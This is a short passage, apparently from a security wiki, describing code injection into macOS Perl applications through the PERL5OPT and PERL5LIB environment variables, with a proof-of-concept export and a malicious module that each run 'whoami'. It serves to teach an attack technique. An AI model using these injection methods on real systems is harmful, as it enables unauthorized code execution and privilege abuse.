macOS Perl Applications Injection
Via PERL5OPT & PERL5LIB env variable
PERL5OPT & PERL5LIB env variable#!/usr/bin/perl
print "Hello from the Perl script!\n";export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true valueVia dependencies

References
Last updated

